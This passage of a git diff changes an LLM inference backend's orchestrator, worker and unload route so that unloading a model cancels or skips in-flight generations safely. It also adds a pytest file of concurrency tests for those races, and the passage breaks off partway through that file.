+                    {
+                        "type": "unload",
+                        "model_name": model_name,
+                    }
+                )
+                self._wait_response("unloaded")
+
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+
+                logger.info("Model '%s' unloaded from subprocess", model_name)
+                return True
+
+            except Exception as exc:
+                logger.error("Error unloading model '%s': %s", model_name, exc)
+                # Clear local state anyway
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return False
+            finally:
+                self._gen_lock.release()
+        finally:
+            self._unload_pending = False
+            if self._drain_event is not None:
+                self._drain_event.clear()
 
     def generate_chat_response(
         self,
@@ -1068,6 +1297,7 @@ class InferenceOrchestrator:
         if not self.active_model_name:
             yield "Error: No active model"
             return
+        expected_model = self.active_model_name
 
         # Drain any prior compare-mode dispatcher so we can read resp_queue.
         self._wait_dispatcher_idle()
@@ -1076,6 +1306,14 @@ class InferenceOrchestrator:
         # consume and drop each other's token events. Hold _gen_lock across the
         # cmd build + send + whole stream so we stay the sole resp_queue reader.
         with self._gen_lock:
+            # Recheck under the lock: an unload we raced may have cleared/swapped the model.
+            # _unload_pending resets after the lock releases, so it can read False by now;
+            # the active-model check catches that handoff and a reload that swapped models,
+            # so we never generate on the wrong one.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield "Error: model is being unloaded"
+                return
             request_id = str(uuid.uuid4())
             image_b64 = self._pil_to_base64(image) if image is not None else None
             cmd = self._build_generate_cmd(
@@ -1143,53 +1381,62 @@ class InferenceOrchestrator:
             raise RuntimeError("Inference subprocess is not running")
         if not self.active_model_name:
             raise RuntimeError("No active model")
+        expected_model = self.active_model_name
 
-        request_id = str(uuid.uuid4())
+        # Serialize under _gen_lock (sole resp_queue reader) and refuse to start on the
+        # outgoing model once an unload is pending, like the text and audio-input paths.
+        # Without this a concurrent /audio/generate could run TTS on a model being switched.
+        with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                raise RuntimeError("model is being unloaded")
 
-        cmd = {
-            "type": "generate_audio",
-            "request_id": request_id,
-            "text": text,
-            "temperature": temperature,
-            "top_p": top_p,
-            "top_k": top_k,
-            "min_p": min_p,
-            "max_new_tokens": max_new_tokens,
-            "repetition_penalty": repetition_penalty,
-        }
-        if use_adapter is not None:
-            cmd["use_adapter"] = use_adapter
+            request_id = str(uuid.uuid4())
 
-        self._send_cmd(cmd)
+            cmd = {
+                "type": "generate_audio",
+                "request_id": request_id,
+                "text": text,
+                "temperature": temperature,
+                "top_p": top_p,
+                "top_k": top_k,
+                "min_p": min_p,
+                "max_new_tokens": max_new_tokens,
+                "repetition_penalty": repetition_penalty,
+            }
+            if use_adapter is not None:
+                cmd["use_adapter"] = use_adapter
 
-        # Wait for audio_done or audio_error
-        deadline = time.monotonic() + 120.0
-        while time.monotonic() < deadline:
-            remaining = max(0.1, deadline - time.monotonic())
-            resp = self._read_resp(timeout = min(remaining, 1.0))
+            self._send_cmd(cmd)
 
-            if resp is None:
-                if not self._ensure_subprocess_alive():
-                    raise RuntimeError(self._subprocess_crash_message("audio generation"))
-                continue
+            deadline = time.monotonic() + 120.0
+            while time.monotonic() < deadline:
+                remaining = max(0.1, deadline - time.monotonic())
+                resp = self._read_resp(timeout = min(remaining, 1.0))
 
-            rtype = resp.get("type", "")
+                if resp is None:
+                    if not self._ensure_subprocess_alive():
+                        raise RuntimeError(self._subprocess_crash_message("audio generation"))
+                    continue
 
-            if rtype == "audio_done":
-                wav_bytes = base64.b64decode(resp["wav_base64"])
-                sample_rate = resp["sample_rate"]
-                return wav_bytes, sample_rate
+                rtype = resp.get("type", "")
 
-            if rtype == "audio_error":
-                raise RuntimeError(resp.get("error", "Audio generation failed"))
+                if rtype == "audio_done":
+                    wav_bytes = base64.b64decode(resp["wav_base64"])
+                    sample_rate = resp["sample_rate"]
+                    return wav_bytes, sample_rate
 
-            if rtype == "error":
-                raise RuntimeError(resp.get("error", "Unknown error"))
+                if rtype == "audio_error":
+                    raise RuntimeError(resp.get("error", "Audio generation failed"))
 
-            if rtype == "status":
-                continue
+                if rtype == "error":
+                    raise RuntimeError(resp.get("error", "Unknown error"))
 
-        raise RuntimeError("Timeout waiting for audio generation (120s)")
+                if rtype == "status":
+                    continue
+
+            raise RuntimeError("Timeout waiting for audio generation (120s)")
 
     def generate_whisper_response(
         self,
@@ -1254,8 +1501,15 @@ class InferenceOrchestrator:
         if not self.active_model_name:
             yield "Error: No active model"
             return
+        expected_model = self.active_model_name
 
         with self._gen_lock:
+            # Recheck under the lock (see _generate_inner): a raced unload/switch may have
+            # cleared or swapped the model while we waited.
+            if self._unload_pending or self.active_model_name != expected_model:
+                # Won the lock handoff during a switch; don't start on the outgoing model.
+                yield "Error: model is being unloaded"
+                return
             request_id = str(uuid.uuid4())
 
             # numpy array -> list for mp.Queue serialization
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 4e27183d88..615c5c5a0d 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -406,6 +406,32 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
         )
 
 
+def _drain_skip_generate(cmd: dict, resp_queue: Any, drain_event) -> bool:
+    """Skip a generate queued behind a cancelled one during an unload.
+
+    The parent sets ``drain_event`` for the whole unload. Because the parent's
+    per-token ``cancel_event`` is cleared at the start of every generate, a cancel
+    set while this generate was still queued would otherwise be lost when it is
+    dequeued. If the drain is in effect, emit an immediate (empty) ``gen_done`` so
+    the parent's stream/mailbox drains fast and the switch stays fast, and report
+    the generate was skipped so the caller does not clear the cancel or run it.
+    """
+    if drain_event is None or not drain_event.is_set():
+        return False
+    request_id = cmd.get("request_id", "")
+    logger.info("Skipping generate for request %s: unload draining", request_id)
+    _send_response(
+        resp_queue,
+        {
+            "type": "gen_done",
+            "request_id": request_id,
+            "cancelled": True,
+            "stats": None,
+        },
+    )
+    return True
+
+
 def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
     """Handle a generate command: stream tokens back via resp_queue.
 
@@ -632,7 +658,14 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None:
         )
 
 
-def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, config: dict) -> None:
+def run_inference_process(
+    *,
+    cmd_queue: Any,
+    resp_queue: Any,
+    cancel_event,
+    config: dict,
+    drain_event = None,
+) -> None:
     """Subprocess entrypoint. Persistent — runs the command loop until shutdown.
 
     Args:
@@ -640,6 +673,10 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         resp_queue: mp.Queue for sending responses to parent.
         cancel_event: mp.Event the parent sets to cancel generation.
         config: Initial configuration dict with model info.
+        drain_event: mp.Event the parent sets for the duration of an unload. Unlike
+            cancel_event (cleared at the start of every generate), it is never cleared
+            here, so a generate still queued behind a cancelled one is skipped rather
+            than run — the cancel survives the queue handoff.
     """
     os.environ["TOKENIZERS_PARALLELISM"] = "false"
     os.environ["PYTHONWARNINGS"] = "ignore"  # Suppress warnings at C-level before imports
@@ -715,7 +752,16 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
             cmd_type = cmd.get("type", "")
             try:
                 if cmd_type == "generate":
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     cancel_event.clear()
+                    # Re-check the drain after clearing: the parent sets drain_event
+                    # then cancel_event for an unload, so if that pair landed between
+                    # the check above and this clear, the clear just erased the unload's
+                    # cancel. Skip here so the outgoing model is not run to completion,
+                    # which would stall the switch until the dispatcher idle-timeout.
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     _handle_generate(backend, cmd, resp_queue, cancel_event)
                 elif cmd_type == "load":
                     if backend.active_model_name:
@@ -918,7 +964,16 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
 
         try:
             if cmd_type == "generate":
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 cancel_event.clear()
+                # Re-check the drain after clearing: the parent sets drain_event then
+                # cancel_event for an unload, so if that pair landed between the check
+                # above and this clear, the clear just erased the unload's cancel. Skip
+                # here so the outgoing model is not run to completion, which would stall
+                # the switch until the dispatcher idle-timeout tears the subprocess down.
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 _handle_generate(backend, cmd, resp_queue, cancel_event)
 
             elif cmd_type == "load":
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 032a6e874a..e31c03f7f8 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -3394,12 +3394,15 @@ async def _load_model_impl(request: LoadRequest, fastapi_request: Request, curre
             llama_backend = get_llama_cpp_backend()
             unsloth_backend = get_inference_backend()
 
-            # Unload any active Unsloth model to free VRAM
+            # Unload any active Unsloth model to free VRAM (off the event loop:
+            # unload takes _gen_lock and can wait on an in-flight stream).
             if unsloth_backend.active_model_name:
                 logger.info(
                     f"Unloading Unsloth model '{unsloth_backend.active_model_name}' before loading GGUF"
                 )
-                unsloth_backend.unload_model(unsloth_backend.active_model_name)
+                await asyncio.to_thread(
+                    unsloth_backend.unload_model, unsloth_backend.active_model_name
+                )
 
             # Inherit llama_extra_args from the previous load when the request
             # omits the field (the chat-settings Apply path doesn't round-trip
@@ -4063,28 +4066,76 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge
     # A deliberate unload means "stay unloaded": drop any idle reload stash so the
     # next /v1 request can't resurrect this model. The idle loop unloads via the
     # backend directly (not this route), so clearing here never fights keep-warm.
-    from core.inference.llama_keepwarm import note_model_unloaded
+    from core.inference.llama_keepwarm import inference_lifecycle_gate, note_model_unloaded
     try:
-        # Check if the GGUF backend has this model loaded or is loading it.
-        llama_backend = get_llama_cpp_backend()
-        if llama_backend.is_active and (
-            llama_backend.model_identifier == request.model_path
-            or is_registered_native_path_label(llama_backend.model_identifier, request.model_path)
-            or not llama_backend.is_loaded
+        # "Stop loading" (frontend cancelLoading -> /unload) must abort a still-loading
+        # model promptly. /load holds the lifecycle gate for the whole (multi-minute) load,
+        # so gating first would make the cancel wait it out. cancel_load only tears the
+        # loading subprocess down (no unload command), so it is safe off-gate.
+        backend = get_inference_backend()
+        loading = getattr(backend, "get_loading_model", lambda: None)()
+        if (
+            loading is not None
+            and hasattr(backend, "cancel_load")
+            and (request.model_path == loading or request.model_path.lower() == loading.lower())
         ):
-            # A manual unload is a deliberate user action: tear down now even if a
-            # request is mid-stream (only the automatic idle loop defers to it).
-            llama_backend.unload_model()
+            if await asyncio.to_thread(backend.cancel_load, request.model_path):
+                note_model_unloaded()
+                logger.info(f"Cancelled in-flight load: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+        # Same "stop loading" fast path for a still-loading GGUF (llama-server spawned,
+        # health check not yet passed). A gated unload would wait out the multi-minute
+        # load; unload_model() sets the cancel_event load_model polls off its own lock and
+        # kills the child, sending no worker command, so it is safe off-gate like
+        # cancel_load. The gated GGUF branch below handles the already-loaded case. Gate on
+        # the loading model (identifier or native label): the single llama-server loads one
+        # GGUF at a time, so an unload for a different model must not cancel this load.
+        llama_backend = get_llama_cpp_backend()
+        if (
+            llama_backend.is_active
+            and not llama_backend.is_loaded
+            and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+            )
+        ):
+            await asyncio.to_thread(llama_backend.unload_model)
             note_model_unloaded()
-            logger.info(f"Unloaded GGUF model: {request.model_path}")
+            logger.info(f"Cancelled in-flight GGUF load: {request.model_path}")
             return UnloadResponse(status = "unloaded", model = request.model_path)
 
-        # Otherwise, unload from Unsloth backend
-        backend = get_inference_backend()
-        backend.unload_model(request.model_path)
-        note_model_unloaded()
-        logger.info(f"Unloaded model: {request.model_path}")
-        return UnloadResponse(status = "unloaded", model = request.model_path)
+        # Serialize with /load under the same lifecycle gate: the Unsloth unload now runs
+        # off the event loop (asyncio.to_thread), so without this a concurrent /load could
+        # swap in a fresh subprocess mid-unload and the unload command would land on the
+        # new worker. The gate makes load and unload exclusive.
+        async with inference_lifecycle_gate():
+            # Check if the GGUF backend has this model loaded or is loading it.
+            llama_backend = get_llama_cpp_backend()
+            if llama_backend.is_active and (
+                llama_backend.model_identifier == request.model_path
+                or is_registered_native_path_label(
+                    llama_backend.model_identifier, request.model_path
+                )
+                or not llama_backend.is_loaded
+            ):
+                # A manual unload is a deliberate user action: tear down now even if a
+                # request is mid-stream (only the automatic idle loop defers to it).
+                llama_backend.unload_model()
+                note_model_unloaded()
+                logger.info(f"Unloaded GGUF model: {request.model_path}")
+                return UnloadResponse(status = "unloaded", model = request.model_path)
+
+            # Unload from Unsloth backend off the event loop: unload takes _gen_lock, which
+            # a slow SSE stream paused between tokens still holds, so a sync call would block
+            # the loop that drives the stream's next token and the lock release.
+            backend = get_inference_backend()
+            await asyncio.to_thread(backend.unload_model, request.model_path)
+            note_model_unloaded()
+            logger.info(f"Unloaded model: {request.model_path}")
+            return UnloadResponse(status = "unloaded", model = request.model_path)
 
     except Exception as e:
         logger.error(f"Error unloading model: {e}", exc_info = True)
diff --git a/studio/backend/tests/test_orchestrator_unload_cancel.py b/studio/backend/tests/test_orchestrator_unload_cancel.py
new file mode 100644
index 0000000000..e9d0f36fe2
--- /dev/null
+++ b/studio/backend/tests/test_orchestrator_unload_cancel.py
@@ -0,0 +1,1430 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""unload_model cancels an in-flight generation instead of waiting it out.
+
+The sequential subprocess used to queue ``unload`` behind a running ``generate``,
+hanging the UI. ``unload_model`` now cancels first (the mp.Event the worker checks
+each token) and takes ``_gen_lock`` before the unload round-trip.
+"""
+
+import threading
+import time
+
+import pytest
+
+from core.inference import orchestrator as orch_mod
+from core.inference.orchestrator import InferenceOrchestrator
+
+
+def _bare_orchestrator():
+    """An orchestrator without the real __init__ subprocess/network."""
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._gen_lock = threading.Lock()
+    o._cancel_event = threading.Event()  # stands in for the mp.Event
+    o._drain_event = threading.Event()  # stands in for the unload-drain mp.Event
+    o._proc = object()  # truthy so _ensure_subprocess_alive reports alive
+    o._cmd_queue = object()
+    o._resp_queue = object()
+    o._dispatcher_thread = None
+    o._unload_pending = False
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+    o.loading_models = set()
+    return o
+
+
+def test_unload_cancels_inflight_generation_then_unloads(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    # A generation holds _gen_lock and releases it only once cancelled.
+    o._gen_lock.acquire()
+
+    def releaser():
+        o._cancel_event.wait(timeout = 5)  # released only after the cancel fires
+        o._gen_lock.release()
+
+    t = threading.Thread(target = releaser)
+    t.start()
+
+    start = time.monotonic()
+    ok = o.unload_model("m")
+    elapsed = time.monotonic() - start
+    t.join(timeout = 5)
+
+    assert ok is True
+    assert o._cancel_event.is_set(), "generation must be cancelled before the unload"
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    assert "m" not in o.models
+    # Waited on the released-after-cancel lock, not a full generation.
+    assert elapsed < 2.0
+
+
+def test_unload_no_active_generation_unloads_normally(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    # Lock released for the next caller.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_unload_falls_back_to_shutdown_when_generation_wont_yield(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send unload when wedged"))
+
+    # A wedged worker never releases _gen_lock, even after the cancel.
+    o._gen_lock.acquire()
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+
+
+def test_unload_tears_down_when_compare_dispatcher_wedged(monkeypatch):
+    # A wedged compare-mode generation bypasses _gen_lock, so the acquire guard
+    # misses it and _send_cmd/_wait_response would hang on resp_queue. Unload must
+    # instead tear the subprocess down, like the wedged locked-generation path.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_DISPATCH_IDLE_TIMEOUT", 0.2)
+
+    # A live dispatcher whose mailbox never drains == a wedged compare-mode gen.
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {"req-1": object()}
+
+    class _AliveThread:
+        def is_alive(self):
+            return True
+
+    o._dispatcher_thread = _AliveThread()
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send unload with a wedged dispatcher")
+    )
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait on resp_queue with a wedged dispatcher"
+        ),
+    )
+
+    # _gen_lock is free (compare mode never took it), so the acquire guard passes.
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+    assert "m" not in o.models
+
+
+def test_consume_token_stream_bails_when_subprocess_swapped(monkeypatch):
+    # After a wedged-worker teardown a fresh load swaps _proc/_resp_queue; the
+    # still-live generation thread must detect the swap and bail, not re-block on
+    # the new queue while holding _gen_lock.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_subprocess_crash_message", lambda ctx: "inference subprocess restarted"
+    )
+
+    def read_one(timeout):
+        o._proc = object()  # simulate the reload swapping the subprocess
+        return None
+
+    gen = o._consume_token_stream(read_one, lambda: None, crash_context = "generation")
+    msg = next(gen)
+
+    assert "restarted" in msg
+    with pytest.raises(StopIteration):
+        next(gen)
+
+
+def test_unload_pending_clears_after_unload(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: None)
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.unload_model("m")
+
+    # The flag must not leak past the unload, else every later generation bails.
+    assert o._unload_pending is False
+
+
+def test_generation_bails_when_unload_pending(monkeypatch):
+    # Winning the _gen_lock handoff mid-switch must not start on the outgoing model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    o._unload_pending = True
+
+    out = list(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # It released (or never held) the lock, so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_dispatched_generation_bails_when_unload_pending(monkeypatch):
+    # Compare-mode bypasses _gen_lock, so it must early-out on a pending switch or
+    # it enqueues a generate on the outgoing model and delays the unload.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: pytest.fail("must not start a generation mid-switch")
+    )
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_audio_input_generation_bails_when_unload_pending(monkeypatch):
+    # The audio path takes _gen_lock but must also skip the outgoing model mid-switch.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_audio_input_inner(audio_array = [0.0, 0.1]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_audio_response_bails_when_unload_pending(monkeypatch):
+    # TTS (generate_audio_response) is blocking, so it RAISES rather than starting on the
+    # outgoing model mid-switch; it takes _gen_lock and must release it either way.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send audio generate mid-switch")
+    )
+    o._unload_pending = True
+
+    with pytest.raises(RuntimeError, match = "unload"):
+        o.generate_audio_response("hello")
+
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+# ----------------------------------------------------------------------------
+# Preserve unload cancels across the queue handoff (drain_event) — items #1/#4.
+# ----------------------------------------------------------------------------
+
+
+def test_worker_drain_skip_emits_cancelled_gen_done_when_draining():
+    # The worker clears cancel_event at the start of every generate, so a cancel set
+    # while a generate is still queued would be lost when it is dequeued. drain_event
+    # is the durable signal: while it is set the worker skips the generate (emitting an
+    # immediate gen_done so the stream/mailbox drains) instead of running it.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # Not draining -> run normally (do not skip, emit nothing).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+    # Missing event (older worker) -> also runs normally.
+    assert _drain_skip_generate(cmd, rq, None) is False
+    assert rq.empty()
+
+    # Draining -> skip and emit a cancelled gen_done for this request_id.
+    drain.set()
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done"
+    assert resp["request_id"] == "r1"
+    assert resp["cancelled"] is True
+
+
+def test_worker_generate_branches_check_drain_before_clearing_cancel():
+    # Both worker command loops (MLX fast-path + GPU) must consult the drain skip
+    # before clearing cancel_event and running, so a queued generate can't clear an
+    # unload-initiated cancel and run the outgoing model to completion. Each loop
+    # checks the drain twice -- once before the clear and once after -- so a
+    # drain+cancel pair that lands in the window between them is still caught.
+    import inspect
+
+    from core.inference import worker
+
+    src = inspect.getsource(worker.run_inference_process)
+    assert src.count("_drain_skip_generate(cmd, resp_queue, drain_event)") == 4
+
+
+def test_worker_generate_rechecks_drain_after_clearing_cancel():
+    # The exact interleaving item #3 describes: the drain check reads unset, then the
+    # parent sets drain+cancel for an unload, then the worker clears cancel_event
+    # (erasing that cancel). A second drain check *after* the clear catches it and
+    # skips the generate instead of running the outgoing model to completion.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    cancel = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # 1. Pre-clear drain check: not draining yet -> run (no skip, no emit).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+
+    # 2. Parent starts an unload: sets drain, then cancel (orchestrator order).
+    drain.set()
+    cancel.set()
+
+    # 3. Worker clears cancel at the start of the generate -- erasing the cancel.
+    cancel.clear()
+    assert not cancel.is_set()
+
+    # 4. Post-clear drain re-check catches the erased cancel and skips.
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done" and resp["cancelled"] is True
+
+
+def test_unload_sets_drain_event_during_switch_and_clears_after(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+
+    seen = {}
+
+    def record_send(cmd):
+        # drain_event must be set for the whole unload round-trip so any generate the
+        # worker dequeues in this window is skipped, not run.
+        seen["drain_set"] = o._drain_event.is_set()
+
+    monkeypatch.setattr(o, "_send_cmd", record_send)
+
+    assert o.unload_model("m") is True
+    assert seen.get("drain_set") is True
+    # Cleared on exit so a later generation (e.g. unloading a non-active model, or a
+    # reused subprocess) is not wrongly skipped.
+    assert o._drain_event.is_set() is False
+
+
+def test_unload_clears_drain_event_even_on_wedged_teardown(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send when wedged"))
+
+    # A wedged worker never releases _gen_lock; unload tears the subprocess down. The
+    # real teardown nulls _drain_event, so emulate that so the finally exercises its guard.
+    def fake_shutdown(timeout = 5):
+        o._drain_event = None
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", fake_shutdown)
+    o._gen_lock.acquire()
+
+    assert o.unload_model("m") is True  # must not raise in the drain_event clear
+
+
+# ----------------------------------------------------------------------------
+# Recheck the active model after the lock wait — items #2/#3.
+# ----------------------------------------------------------------------------
+
+
+def test_generation_rechecks_model_after_lock_wait(monkeypatch):
+    # A request passes the pre-lock active-model check, then blocks on _gen_lock while
+    # an unload clears/swaps the model. Even if _unload_pending was already reset (the
+    # unload's finally runs after the lock release), the under-lock active-model recheck
+    # must make it bail instead of sending a generate to the wrong/unloaded backend.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on a swapped/unloaded model")
+    )
+
+    reached_lock = threading.Event()
+    # _wait_dispatcher_idle runs after the pre-lock check and before acquiring the lock;
+    # signalling here means the generator captured the model and is about to block.
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()  # stand in for an in-flight unload holding the lock
+
+    out: list = []
+
+    def run():
+        out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    t = threading.Thread(target = run)
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    # Unload finished: model swapped, pending already cleared. Release the lock.
+    o.active_model_name = "other"
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_generation_rechecks_model_when_unloaded_to_none(monkeypatch):
+    # Same race, but the unload left no active model (a plain unload, not a switch).
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate after the model was unloaded")
+    )
+    reached_lock = threading.Event()
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()
+
+    out: list = []
+    t = threading.Thread(
+        target = lambda: out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+    )
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    o.active_model_name = None
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# Don't unload a stale model name (worker's active-model fallback) — item #5.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_of_stale_name_does_not_touch_active_model(monkeypatch):
+    # If the named model isn't loaded (e.g. a concurrent load already swapped in a
+    # different one), unload must not send a command the worker would satisfy by
+    # unloading its *active* model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "current"
+    o.models = {"current": {}}
+
+    assert o.unload_model("stale") is True
+    # The active model is left intact.
+    assert o.active_model_name == "current"
+    assert "current" in o.models
+
+
+def test_unload_matches_active_model_case_insensitively(monkeypatch):
+    # active_model_name can differ in case from the raw model_path a client sends
+    # to /unload (the load path canonicalizes casing). The stale-name guard must
+    # match case-insensitively too; otherwise it no-ops the unload and leaves the
+    # model resident while reporting success.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
